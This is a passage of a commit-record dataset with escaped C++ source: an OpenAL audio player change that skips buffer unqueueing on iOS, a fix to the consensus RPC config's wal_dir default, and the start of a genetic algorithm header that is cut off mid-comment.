0);\n\t}\n\n\tvoid OpenAL_Player::_systemPrepareBuffer()\n\t{\n\t\t\/\/ making sure all buffer data is loaded before accessing anything\n\t\tif (!this->sound->isStreamed())\n\t\t{\n\t\t\tthis->_fillBuffers(0, 1);\n\t\t\talSourcei(this->sourceId, AL_BUFFER, this->bufferIds[0]);\n\t\t\talSourcei(this->sourceId, AL_LOOPING, this->looping);\n\t\t}\n\t\telse\n\t\t{\n\t\t\talSourcei(this->sourceId, AL_BUFFER, AL_NONE);\n\t\t\talSourcei(this->sourceId, AL_LOOPING, false);\n\t\t\tint count = STREAM_BUFFER_COUNT;\n\t\t\tif (!this->paused)\n\t\t\t{\n\t\t\t\tcount = this->_fillBuffers(this->bufferIndex, STREAM_BUFFER_COUNT);\n\t\t\t}\n\t\t\tif (count > 0)\n\t\t\t{\n\t\t\t\tthis->_queueBuffers(this->bufferIndex, count);\n\t\t\t\tthis->bufferIndex = (this->bufferIndex + count) % STREAM_BUFFER_COUNT;\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_systemUpdateGain()\n\t{\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\talSourcef(this->sourceId, AL_GAIN, this->_calcGain());\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_systemUpdateFadeGain()\n\t{\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\talSourcef(this->sourceId, AL_GAIN, this->_calcFadeGain());\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_systemPlay()\n\t{\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\talSourcePlay(this->sourceId);\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_systemStop()\n\t{\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\tif (!this->sound->isStreamed())\n\t\t\t{\n\t\t\t\talSourceStop(this->sourceId);\n\t\t\t\talSourcei(this->sourceId, AL_BUFFER, AL_NONE); \/\/ necessary to avoid a memory leak in OpenAL\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tint processed = this->_getProcessedBuffersCount();\n\t\t\t\talSourceStop(this->sourceId);\n\t\t\t\tthis->_unqueueBuffers();\n\t\t\t\talSourcei(this->sourceId, AL_BUFFER, AL_NONE); \/\/ necessary to avoid a memory leak in OpenAL\n\t\t\t\tif (this->paused)\n\t\t\t\t{\n\t\t\t\t\tthis->bufferIndex = (this->bufferIndex + processed) % STREAM_BUFFER_COUNT;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tthis->bufferIndex = 0;\n\t\t\t\t\tthis->buffer->rewind();\n\t\t\t\t}\n\t\t\t}\n\t\t\t((OpenAL_AudioManager*)xal::mgr)->_releaseSourceId(this->sourceId);\n\t\t\tthis->sourceId = 0;\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_systemUpdateStream()\n\t{\n\t\tint queued = this->_getQueuedBuffersCount();\n\t\tif (queued == 0)\n\t\t{\n\t\t\tthis->_stopSound();\n\t\t\treturn;\n\t\t}\n\t\tint processed = this->_getProcessedBuffersCount();\n\t\tif (processed == 0)\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\tthis->_unqueueBuffers((this->bufferIndex + STREAM_BUFFER_COUNT - queued) % STREAM_BUFFER_COUNT, processed);\n\t\tint count = this->_fillBuffers(this->bufferIndex, processed);\n\t\tif (count > 0)\n\t\t{\n\t\t\tthis->_queueBuffers(this->bufferIndex, count);\n\t\t\tthis->bufferIndex = (this->bufferIndex + count) % STREAM_BUFFER_COUNT;\n\t\t\tbool playing = (processed < STREAM_BUFFER_COUNT);\n\t\t\tif (playing)\n\t\t\t{\n\t\t\t\tint state;\n\t\t\t\talGetSourcei(this->sourceId, AL_SOURCE_STATE, &state);\n\t\t\t\tif (state != AL_PLAYING)\n\t\t\t\t{\n\t\t\t\t\tplaying = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!playing) \/\/ underrun happened, sound was stopped by OpenAL so let's reboot it properly\n\t\t\t{\n\t\t\t\tthis->_pause();\n\t\t\t\tthis->_play();\n\t\t\t}\n\t\t}\n\t\tif (this->_getQueuedBuffersCount() == 0)\n\t\t{\n\t\t\tthis->_stopSound();\n\t\t}\n\t}\n\n\tint OpenAL_Player::_getQueuedBuffersCount()\n\t{\n\t\tint queued = 0;\n\t\tif (this->sourceId)\n\t\t{\n\t\t\talGetSourcei(this->sourceId, AL_BUFFERS_QUEUED, &queued);\n\t\t}\n\t\treturn queued;\n\t}\n\n\tint OpenAL_Player::_getProcessedBuffersCount()\n\t{\n\t\tint processed = 0;\n\t\tif (this->sourceId)\n\t\t{\n\t\t\talGetSourcei(this->sourceId, AL_BUFFERS_PROCESSED, &processed);\n\t\t}\n\t\treturn processed;\n\t}\n\n\tint OpenAL_Player::_fillBuffers(int index, int count)\n\t{\n\t\tint size = this->buffer->load(this->looping, count * STREAM_BUFFER_SIZE);\n\t\tif (!this->sound->isStreamed())\n\t\t{\n\t\t\talBufferData(this->bufferIds[index], (this->buffer->getChannels() == 1 ? AL_FORMAT_MONO16 : AL_FORMAT_STEREO16),\n\t\t\t\tthis->buffer->getStream(), size, this->buffer->getSamplingRate());\n\t\t\treturn 1;\n\t\t}\n\t\tint filled = (size + STREAM_BUFFER_SIZE - 1) \/ STREAM_BUFFER_SIZE;\n\t\tunsigned char* stream = this->buffer->getStream();\n\t\tunsigned int format = (this->buffer->getChannels() == 1 ? AL_FORMAT_MONO16 : AL_FORMAT_STEREO16);\n\t\tint samplingRate = this->buffer->getSamplingRate();\n\t\tfor_iter (i, 0, filled)\n\t\t{\n\t\t\talBufferData(this->bufferIds[(index + i) % STREAM_BUFFER_COUNT], format,\n\t\t\t\t&stream[i * STREAM_BUFFER_SIZE], hmin(size, STREAM_BUFFER_SIZE), samplingRate);\n\t\t\tsize -= STREAM_BUFFER_SIZE;\n\t\t}\n\t\treturn filled;\n\t}\n\n\tvoid OpenAL_Player::_queueBuffers(int index, int count)\n\t{\n\t\tif (index + count <= STREAM_BUFFER_COUNT)\n\t\t{\n\t\t\talSourceQueueBuffers(this->sourceId, count, &this->bufferIds[index]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\talSourceQueueBuffers(this->sourceId, STREAM_BUFFER_COUNT - index, &this->bufferIds[index]);\n\t\t\talSourceQueueBuffers(this->sourceId, count + index - STREAM_BUFFER_COUNT, this->bufferIds);\n\t\t}\n\t}\n \n\tvoid OpenAL_Player::_queueBuffers()\n\t{\n\t\tint queued = this->_getQueuedBuffersCount();\n\t\tif (queued < STREAM_BUFFER_COUNT)\n\t\t{\n\t\t\tthis->_queueBuffers(this->bufferIndex, STREAM_BUFFER_COUNT - queued);\n\t\t}\n\t}\n \n\tvoid OpenAL_Player::_unqueueBuffers(int index, int count)\n\t{\n\t\tif (index + count <= STREAM_BUFFER_COUNT)\n\t\t{\n#ifdef _IOS \/\/ needed for ios because in IOS 5 alSourceUnqueueBuffers doesn't lock the thread and returns before all requested buffers were unqueued\n\t\t\tint n = this->_getQueuedBuffersCount();\n#endif\n\t\t\talSourceUnqueueBuffers(this->sourceId, count, &this->bufferIds[index]);\n#ifdef _IOS\n\t\t\twhile (n - this->_getQueuedBuffersCount() != count)\n\t\t\t{\n\t\t\t\ththread::sleep(1);\n\t\t\t}\n#endif\n\t\t}\n\t\telse\n\t\t{\n#ifdef _IOS\n\t\t\tint n = this->_getQueuedBuffersCount();\n#endif\n\t\t\talSourceUnqueueBuffers(this->sourceId, STREAM_BUFFER_COUNT - index, &this->bufferIds[index]);\n#ifdef _IOS\n\t\t\twhile (n - this->_getQueuedBuffersCount() != STREAM_BUFFER_COUNT - index)\n\t\t\t{\n\t\t\t\ththread::sleep(1);\n\t\t\t}\n\t\t\tn -= STREAM_BUFFER_COUNT - index;\n#endif\n\t\t\talSourceUnqueueBuffers(this->sourceId, count + index - STREAM_BUFFER_COUNT, this->bufferIds);\n#ifdef _IOS\n\t\t\twhile (n - this->_getQueuedBuffersCount() != count + index - STREAM_BUFFER_COUNT)\n\t\t\t{\n\t\t\t\ththread::sleep(1);\n\t\t\t}\n#endif\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_unqueueBuffers()\n\t{\n\t\tint queued = this->_getQueuedBuffersCount();\n\t\tif (queued > 0)\n\t\t{\n\t\t\tthis->_unqueueBuffers((this->bufferIndex + STREAM_BUFFER_COUNT - queued) % STREAM_BUFFER_COUNT, queued);\n\t\t}\n\t}\n\n}\n#endif\n<commit_msg>* prevented buffer unqueue on systemStop on iOS due to iOS OpenAL bug. it'll work ok since the source is destroyed anyway.<commit_after>\/\/\/ @file\n\/\/\/ @author  Boris Mikic\n\/\/\/ @version 2.4\n\/\/\/ \n\/\/\/ @section LICENSE\n\/\/\/ \n\/\/\/ This program is free software; you can redistribute it and\/or modify it under\n\/\/\/ the terms of the BSD license: http:\/\/www.opensource.org\/licenses\/bsd-license.php\n\n#ifdef HAVE_OPENAL\n#include <stdio.h>\n#include <string.h>\n#include \"xal.h\"\n\n#ifndef __APPLE__\n#include <AL\/al.h>\n#else\n#include <TargetConditionals.h>\n#include <OpenAL\/al.h>\n#endif\n\n#include \"AudioManager.h\"\n#include \"Buffer.h\"\n#include \"Category.h\"\n#include \"OpenAL_AudioManager.h\"\n#include \"OpenAL_Player.h\"\n#include \"Sound.h\"\n\nnamespace xal\n{\n\tOpenAL_Player::OpenAL_Player(Sound* sound, Buffer* buffer) :\n\t\tPlayer(sound, buffer), sourceId(0)\n\t{\n\t\tmemset(this->bufferIds, 0, STREAM_BUFFER_COUNT * sizeof(unsigned int));\n\t\talGenBuffers((!this->sound->isStreamed() ? 1 : STREAM_BUFFER_COUNT), this->bufferIds);\n\t}\n\n\tOpenAL_Player::~OpenAL_Player()\n\t{\n\t\t\/\/ AudioManager calls _stop before destruction\n\t\talDeleteBuffers((!this->sound->isStreamed() ? 1 : STREAM_BUFFER_COUNT), this->bufferIds);\n\t}\n\n\tvoid OpenAL_Player::_update(float k)\n\t{\n\t\tPlayer::_update(k);\n\t\tif (!this->_systemIsPlaying() && this->sourceId != 0)\n\t\t{\n\t\t\tthis->_stopSound();\n\t\t}\n\t}\n\n\tbool OpenAL_Player::_systemIsPlaying()\n\t{\n\t\tif (this->sourceId == 0)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\tif (this->sound->isStreamed())\n\t\t{\n\t\t\treturn (this->_getQueuedBuffersCount() > 0 || this->_getProcessedBuffersCount() > 0);\n\t\t}\n\t\tint state;\n\t\talGetSourcei(this->sourceId, AL_SOURCE_STATE, &state);\n\t\treturn (state == AL_PLAYING);\n\t}\n\n\tfloat OpenAL_Player::_systemGetOffset()\n\t{\n\t\tfloat offset = 0.0f;\n#if !TARGET_OS_MAC\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\talGetSourcef(this->sourceId, AL_SAMPLE_OFFSET, &offset);\n\t\t}\n#else\n\t\t\/\/ did not find anything that works on Mac OS X and iOS!\n#endif\n\t\treturn offset;\n\t}\n\n\tvoid OpenAL_Player::_systemSetOffset(float value)\n\t{\n#if !TARGET_OS_MAC\n\t\t\/\/ TODO - should be int\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\talSourcef(this->sourceId, AL_SAMPLE_OFFSET, value);\n\t\t}\n\t\t\/\/alSourcei(this->sourceId, AL_SAMPLE_OFFSET, value);\n#else\n\t\t\/\/ did not find anything that works on Mac OS X and iOS!\n#endif\n\t}\n\n\tbool OpenAL_Player::_systemPreparePlay()\n\t{\n\t\tif (this->sourceId == 0)\n\t\t{\n\t\t\tthis->sourceId = ((OpenAL_AudioManager*)xal::mgr)->_allocateSourceId();\n\t\t}\n\t\treturn (this->sourceId != 0);\n\t}\n\n\tvoid OpenAL_Player::_systemPrepareBuffer()\n\t{\n\t\t\/\/ making sure all buffer data is loaded before accessing anything\n\t\tif (!this->sound->isStreamed())\n\t\t{\n\t\t\tthis->_fillBuffers(0, 1);\n\t\t\talSourcei(this->sourceId, AL_BUFFER, this->bufferIds[0]);\n\t\t\talSourcei(this->sourceId, AL_LOOPING, this->looping);\n\t\t}\n\t\telse\n\t\t{\n\t\t\talSourcei(this->sourceId, AL_BUFFER, AL_NONE);\n\t\t\talSourcei(this->sourceId, AL_LOOPING, false);\n\t\t\tint count = STREAM_BUFFER_COUNT;\n\t\t\tif (!this->paused)\n\t\t\t{\n\t\t\t\tcount = this->_fillBuffers(this->bufferIndex, STREAM_BUFFER_COUNT);\n\t\t\t}\n\t\t\tif (count > 0)\n\t\t\t{\n\t\t\t\tthis->_queueBuffers(this->bufferIndex, count);\n\t\t\t\tthis->bufferIndex = (this->bufferIndex + count) % STREAM_BUFFER_COUNT;\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_systemUpdateGain()\n\t{\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\talSourcef(this->sourceId, AL_GAIN, this->_calcGain());\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_systemUpdateFadeGain()\n\t{\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\talSourcef(this->sourceId, AL_GAIN, this->_calcFadeGain());\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_systemPlay()\n\t{\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\talSourcePlay(this->sourceId);\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_systemStop()\n\t{\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\tif (!this->sound->isStreamed())\n\t\t\t{\n\t\t\t\talSourceStop(this->sourceId);\n\t\t\t\talSourcei(this->sourceId, AL_BUFFER, AL_NONE); \/\/ necessary to avoid a memory leak in OpenAL\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tint processed = this->_getProcessedBuffersCount();\n\t\t\t\talSourceStop(this->sourceId);\n#ifndef _IOS \/\/ hack for ios only, has problems when audio is suspended\n\t\t\t\tthis->_unqueueBuffers();\n#endif\n\t\t\t\talSourcei(this->sourceId, AL_BUFFER, AL_NONE); \/\/ necessary to avoid a memory leak in OpenAL\n\t\t\t\tif (this->paused)\n\t\t\t\t{\n\t\t\t\t\tthis->bufferIndex = (this->bufferIndex + processed) % STREAM_BUFFER_COUNT;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tthis->bufferIndex = 0;\n\t\t\t\t\tthis->buffer->rewind();\n\t\t\t\t}\n\t\t\t}\n\t\t\t((OpenAL_AudioManager*) xal::mgr)->_releaseSourceId(this->sourceId);\n\t\t\tthis->sourceId = 0;\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_systemUpdateStream()\n\t{\n\t\tint queued = this->_getQueuedBuffersCount();\n\t\tif (queued == 0)\n\t\t{\n\t\t\tthis->_stopSound();\n\t\t\treturn;\n\t\t}\n\t\tint processed = this->_getProcessedBuffersCount();\n\t\tif (processed == 0)\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\tthis->_unqueueBuffers((this->bufferIndex + STREAM_BUFFER_COUNT - queued) % STREAM_BUFFER_COUNT, processed);\n\t\tint count = this->_fillBuffers(this->bufferIndex, processed);\n\t\tif (count > 0)\n\t\t{\n\t\t\tthis->_queueBuffers(this->bufferIndex, count);\n\t\t\tthis->bufferIndex = (this->bufferIndex + count) % STREAM_BUFFER_COUNT;\n\t\t\tbool playing = (processed < STREAM_BUFFER_COUNT);\n\t\t\tif (playing)\n\t\t\t{\n\t\t\t\tint state;\n\t\t\t\talGetSourcei(this->sourceId, AL_SOURCE_STATE, &state);\n\t\t\t\tif (state != AL_PLAYING)\n\t\t\t\t{\n\t\t\t\t\tplaying = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!playing) \/\/ underrun happened, sound was stopped by OpenAL so let's reboot it properly\n\t\t\t{\n\t\t\t\tthis->_pause();\n\t\t\t\tthis->_play();\n\t\t\t}\n\t\t}\n\t\tif (this->_getQueuedBuffersCount() == 0)\n\t\t{\n\t\t\tthis->_stopSound();\n\t\t}\n\t}\n\n\tint OpenAL_Player::_getQueuedBuffersCount()\n\t{\n\t\tint queued = 0;\n\t\tif (this->sourceId)\n\t\t{\n\t\t\talGetSourcei(this->sourceId, AL_BUFFERS_QUEUED, &queued);\n\t\t}\n\t\treturn queued;\n\t}\n\n\tint OpenAL_Player::_getProcessedBuffersCount()\n\t{\n\t\tint processed = 0;\n\t\tif (this->sourceId)\n\t\t{\n\t\t\talGetSourcei(this->sourceId, AL_BUFFERS_PROCESSED, &processed);\n\t\t}\n\t\treturn processed;\n\t}\n\n\tint OpenAL_Player::_fillBuffers(int index, int count)\n\t{\n\t\tint size = this->buffer->load(this->looping, count * STREAM_BUFFER_SIZE);\n\t\tif (!this->sound->isStreamed())\n\t\t{\n\t\t\talBufferData(this->bufferIds[index], (this->buffer->getChannels() == 1 ? AL_FORMAT_MONO16 : AL_FORMAT_STEREO16),\n\t\t\t\tthis->buffer->getStream(), size, this->buffer->getSamplingRate());\n\t\t\treturn 1;\n\t\t}\n\t\tint filled = (size + STREAM_BUFFER_SIZE - 1) \/ STREAM_BUFFER_SIZE;\n\t\tunsigned char* stream = this->buffer->getStream();\n\t\tunsigned int format = (this->buffer->getChannels() == 1 ? AL_FORMAT_MONO16 : AL_FORMAT_STEREO16);\n\t\tint samplingRate = this->buffer->getSamplingRate();\n\t\tfor_iter (i, 0, filled)\n\t\t{\n\t\t\talBufferData(this->bufferIds[(index + i) % STREAM_BUFFER_COUNT], format,\n\t\t\t\t&stream[i * STREAM_BUFFER_SIZE], hmin(size, STREAM_BUFFER_SIZE), samplingRate);\n\t\t\tsize -= STREAM_BUFFER_SIZE;\n\t\t}\n\t\treturn filled;\n\t}\n\n\tvoid OpenAL_Player::_queueBuffers(int index, int count)\n\t{\n\t\tif (index + count <= STREAM_BUFFER_COUNT)\n\t\t{\n\t\t\talSourceQueueBuffers(this->sourceId, count, &this->bufferIds[index]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\talSourceQueueBuffers(this->sourceId, STREAM_BUFFER_COUNT - index, &this->bufferIds[index]);\n\t\t\talSourceQueueBuffers(this->sourceId, count + index - STREAM_BUFFER_COUNT, this->bufferIds);\n\t\t}\n\t}\n \n\tvoid OpenAL_Player::_queueBuffers()\n\t{\n\t\tint queued = this->_getQueuedBuffersCount();\n\t\tif (queued < STREAM_BUFFER_COUNT)\n\t\t{\n\t\t\tthis->_queueBuffers(this->bufferIndex, STREAM_BUFFER_COUNT - queued);\n\t\t}\n\t}\n \n\tvoid OpenAL_Player::_unqueueBuffers(int index, int count)\n\t{\n\t\tif (index + count <= STREAM_BUFFER_COUNT)\n\t\t{\n#ifdef _IOS \/\/ needed for ios because in IOS 5 alSourceUnqueueBuffers doesn't lock the thread and returns before all requested buffers were unqueued\n\t\t\tint n = this->_getQueuedBuffersCount();\n#endif\n\t\t\talSourceUnqueueBuffers(this->sourceId, count, &this->bufferIds[index]);\n#ifdef _IOS\n\t\t\twhile (n - this->_getQueuedBuffersCount() != count)\n\t\t\t{\n\t\t\t\ththread::sleep(1);\n\t\t\t}\n#endif\n\t\t}\n\t\telse\n\t\t{\n#ifdef _IOS\n\t\t\tint n = this->_getQueuedBuffersCount();\n#endif\n\t\t\talSourceUnqueueBuffers(this->sourceId, STREAM_BUFFER_COUNT - index, &this->bufferIds[index]);\n#ifdef _IOS\n\t\t\twhile (n - this->_getQueuedBuffersCount() != STREAM_BUFFER_COUNT - index)\n\t\t\t{\n\t\t\t\ththread::sleep(1);\n\t\t\t}\n\t\t\tn -= STREAM_BUFFER_COUNT - index;\n#endif\n\t\t\talSourceUnqueueBuffers(this->sourceId, count + index - STREAM_BUFFER_COUNT, this->bufferIds);\n#ifdef _IOS\n\t\t\twhile (n - this->_getQueuedBuffersCount() != count + index - STREAM_BUFFER_COUNT)\n\t\t\t{\n\t\t\t\ththread::sleep(1);\n\t\t\t}\n#endif\n\t\t}\n\t}\n\n\tvoid OpenAL_Player::_unqueueBuffers()\n\t{\n\t\tint queued = this->_getQueuedBuffersCount();\n\t\tif (queued > 0)\n\t\t{\n\t\t\tthis->_unqueueBuffers((this->bufferIndex + STREAM_BUFFER_COUNT - queued) % STREAM_BUFFER_COUNT, queued);\n\t\t}\n\t}\n\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2017 Wu Tao\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"rpc\/config.h\"\n#include \"base\/logging.h\"\n\n#include <boost\/algorithm\/string\/split.hpp>\n#include <boost\/algorithm\/string\/trim.hpp>\n#include <boost\/filesystem\/operations.hpp>\n\nstatic std::string currentDir = boost::filesystem::current_path().string();\n\nDEFINE_string(name, \"default\", \"human-readable name for this member.\");\nDEFINE_string(initial_cluster, fmt::format(\"{}=127.0.0.1:12321\", FLAGS_name),\n              \"initial cluster configuration for bootstrapping. Format: \\\"<name1>=<ip1>, \"\n              \"<name2>=<ip2>; ...\\\"\");\nDEFINE_string(wal_dir, fmt::format(\"{}\/{}.consensus\", currentDir, FLAGS_name),\n              \"path to the dedicated wal directory.\");\nDEFINE_uint32(heartbeat_interval, 100, \"time (in milliseconds) of a heartbeat interval.\");\nDEFINE_uint32(election_timeout, 1000, \"time (in milliseconds) for an election to timeout.\");\n\nnamespace consensus {\nnamespace rpc {\n\n#define ERROR_IF_NOT(cond)                                           \\\n  do {                                                               \\\n    if (!(cond))                                                     \\\n      return Status::Make(Error::BadConfig, \"Check failed: \" #cond); \\\n  } while (0)\n\nStatus ParseClusterMembershipFromGFlags(std::map<std::string, std::string> *peerMap) {\n  using namespace silly;\n\n  std::vector<std::string> servers;\n  boost::split(servers, FLAGS_initial_cluster, [](char c) -> bool { return c == ';'; });\n\n  for (std::string &server : servers) {\n    boost::trim(server);\n    if (server.empty()) {\n      continue;\n    }\n\n    auto sep = std::find(server.begin(), server.end(), '=');\n    ERROR_IF_NOT(sep != server.end());\n    ERROR_IF_NOT(sep != server.begin());\n    ERROR_IF_NOT(sep != std::prev(server.end()));\n    size_t sepIndex = std::distance(server.begin(), sep);\n\n    std::string serverName = server.substr(0, sepIndex);\n    boost::trim(serverName);\n\n    std::string serverAddress = server.substr(sepIndex + 1, server.length() - sepIndex);\n    peerMap->insert(std::make_pair(std::move(serverName), std::move(serverAddress)));\n  }\n  return Status::OK();\n}\n\n}  \/\/ namespace rpc\n}  \/\/ namespace consensus\n<commit_msg>rpc\/config: fix incorrect default value of wal_dir.<commit_after>\/\/ Copyright 2017 Wu Tao\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"rpc\/config.h\"\n#include \"base\/logging.h\"\n\n#include <boost\/algorithm\/string\/split.hpp>\n#include <boost\/algorithm\/string\/trim.hpp>\n#include <boost\/filesystem\/operations.hpp>\n\nstatic std::string currentDir = boost::filesystem::current_path().string();\n\nDEFINE_string(name, \"default\", \"human-readable name for this member.\");\nDEFINE_string(initial_cluster, fmt::format(\"{}=127.0.0.1:12321\", FLAGS_name),\n              \"initial cluster configuration for bootstrapping. Format: \\\"<name1>=<ip1>, \"\n              \"<name2>=<ip2>; ...\\\"\");\nDEFINE_uint32(heartbeat_interval, 100, \"time (in milliseconds) of a heartbeat interval.\");\nDEFINE_uint32(election_timeout, 1000, \"time (in milliseconds) for an election to timeout.\");\n\nDEFINE_string(wal_dir, \"\", \"path to the dedicated wal directory. Default to ${name}.consensus.\");\nbool FLAGS_wal_dir_Validator(const char* name, const std::string& val) {\n  if (val.length() == 0) {\n    FLAGS_wal_dir = fmt::format(\"{}\/{}.consensus\", currentDir, FLAGS_name);\n  }\n  return true;\n}\nDEFINE_validator(wal_dir, &FLAGS_wal_dir_Validator);\n\nnamespace consensus {\nnamespace rpc {\n\n#define ERROR_IF_NOT(cond)                                           \\\n  do {                                                               \\\n    if (!(cond))                                                     \\\n      return Status::Make(Error::BadConfig, \"Check failed: \" #cond); \\\n  } while (0)\n\nStatus ParseClusterMembershipFromGFlags(std::map<std::string, std::string>* peerMap) {\n  using namespace silly;\n\n  std::vector<std::string> servers;\n  boost::split(servers, FLAGS_initial_cluster, [](char c) -> bool { return c == ';'; });\n\n  for (std::string& server : servers) {\n    boost::trim(server);\n    if (server.empty()) {\n      continue;\n    }\n\n    auto sep = std::find(server.begin(), server.end(), '=');\n    ERROR_IF_NOT(sep != server.end());\n    ERROR_IF_NOT(sep != server.begin());\n    ERROR_IF_NOT(sep != std::prev(server.end()));\n    size_t sepIndex = std::distance(server.begin(), sep);\n\n    std::string serverName = server.substr(0, sepIndex);\n    boost::trim(serverName);\n\n    std::string serverAddress = server.substr(sepIndex + 1, server.length() - sepIndex);\n    peerMap->insert(std::make_pair(std::move(serverName), std::move(serverAddress)));\n  }\n  return Status::OK();\n}\n\n}  \/\/ namespace rpc\n}  \/\/ namespace consensus\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2016 Stoned Xander\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef HEADLESS_LOGIC_GENETIC_ALGORITHM\n#define HEADLESS_LOGIC_GENETIC_ALGORITHM\n\n#include <random>\n\nnamespace Headless {\n    namespace Logic {\n        \/**\n         * Here are proposed some implementations of General Algorithms.\n         * Currently available GAs are:\n         *  - Trivial.\n         *\/\n        namespace GA {\n\n            \/**\n             * Trivial GA.\n             * 1. Generate first pool.\n             * 2. Evaluate pool against a testing environment.\n             * 3. Save the elite.\n             * 4. Create new pool from elite using set of operators.\n             * 5. Back to step 2 until error is superior to specified\n             *    or until generation number is inferior to specified.\n             *\n             * To this purpose, we need the following concepts :\n             * @param <C> Candidates to be evaluated and modified.\n             *\/\n            template <typename C> class Trivial {\n\n                public:\n\n                    \/**\n                     * Constructor.\n                     * @param pSize Pool Size.\n                     *\/\n                    Trivial(unsigned int pSize) : _count(pSize) {\n                        _pool = new C*[pSize];\n                        _score = new double[pSize];\n                    }\n\n                    \/**\n                     * Destructor.\n                     *\/\n                    ~Trivial() {\n                        delete []_pool;\n                        delete []_score;\n                    }\n\n                    \/**\n                     * Training.\n                     * @param <E> Creation and evaluation environment type. It must define\n                     *      the following methods:\n                     *      - void reserve(C**, unsigned int)\n                     *      - void release(C**, unsigned int)\n                     *      - double evaluate (const C*)\n                     *      - C* clone(const C*)\n                     * @param <... M> Set of operators\/mutators types. A mutator must define\n                     *      the following methods:\n                     *      - double threshold()\n                     *      - void mutate(C**, unsigned int, C*);\n                     * @param env Environment.\n                     * @param maxGen Maximum number of generations.\n                     * @param minErr Minimal accepable error.\n                     * @param eliteSize Percentage of the pool to be taken for creating the next pool.\n                     * @param store A store for results.\n                     * @param size Size of the storage and maximum number of exit candidate.\n                     * @param mutators Set of operators\/mutators for new pool creation.\n                     * @return The number of candidates stored in the specified buffer.\n                     *\/\n                    template <typename E, typename... M> int train(E* env,\n                            unsigned int maxGen, double minErr, double eliteSize,\n                            C** store, unsigned int size,\n                            M... mutators) {\n                        unsigned int eliteCount = _count * eliteSize;\n                        \/\/ We assume that the pool is empty and needs to be filled.\n                        env->reserve(_pool, _count);\n\n                        \/\/ Loop on generations.\n                        for(unsigned int g = 0;\n                                (g < maxGen) && (evaluate(env) > minErr);\n                                ++g) {\n                            \/\/ At this point, the pool is full and sorted.\n                            \/\/ Let's recycle candidates from eliteCount to _count - 1.\n                            #pragma omp parallel for\n                            for(unsigned int i = eliteCount; i < _count; ++i) {\n                                \/\/ Randomly choose a mutators.\n                                mutate(i, eliteCount, mutators...);\n                            }\n                        }\n\n                        unsigned int number = eliteCount < size ? eliteCount : size;\n                        for(unsigned int i = 0; i < number; ++i) {\n                            store[i] = env->clone(_pool[i]);\n                        }\n\n                        \/\/ Clean-up the pool.\n                        env->release(_pool, _count);\n\n                        return number;\n                    }\n\n                private:\n                    \/**\n                     * make a new offspring out of the available mutators.\n                     *\/\n                    template <typename M, typename... O> void mutate(unsigned int pos, unsigned int count,\n                            M mutator, O... others) {\n                        std::random_device rd;\n                        std::mt19937 mt(rd());\n                        std::uniform_real_distribution<double> dist(0.0, 1.0);\n                        double rnd = dist(mt);\n                        if(rnd < mutator->threshold()) {\n                            mutator->mutate(_pool, count, _pool + pos);\n                        } else {\n                            mutate(pos, count, others...);\n                        }\n                    }\n\n                    template <typename M> void mutate(unsigned int pos, unsigned int count, M mutator) {\n                        mutator->mutate(_pool, count, _pool + pos);\n                    }\n\n                    \/**\n                     * Evaluate the pool against the environment.\n                     * @param <E> 